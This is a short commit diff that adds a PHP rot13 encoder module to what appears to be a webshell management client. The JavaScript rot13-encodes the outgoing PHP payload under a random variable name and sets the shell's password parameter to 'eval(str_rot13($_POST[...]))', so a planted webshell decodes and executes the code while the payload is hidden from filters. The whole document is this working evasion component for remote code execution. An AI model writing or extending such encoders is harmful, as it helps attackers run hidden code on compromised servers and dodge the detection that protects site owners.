Add php rot13 encoder

source/core/php/encoder/rot13.js

+/**
+ * php::str_rot13编码器
+ * ? 利用php的 rot13 进行编码处理
+ */
+
+
+'use strict';
+
+module.exports = (pwd, data) => {
+  const encode = (s) => {
+    //use a Regular Expression to Replace only the characters that are a-z or A-Z
+    return s.replace(/[a-zA-Z]/g, function (c) {
+        //Get the character code of the current character and add 13 to it
+        //If it is larger than z's character code then subtract 26 to support wrap around.
+        return String.fromCharCode((c <= "Z" ? 90 : 122) >= (c = c.charCodeAt(0) + 13) ? c : c - 26);
+    });
+}
+
+  // 生成一个随机变量名
+  let randomID = `_0x${Math.random().toString(16).substr(2)}`;
+  data[randomID] = encode(data['_']);
+  data[pwd] = `eval(str_rot13($_POST[${randomID}]));`;
+  delete data['_'];
+  return data;
+}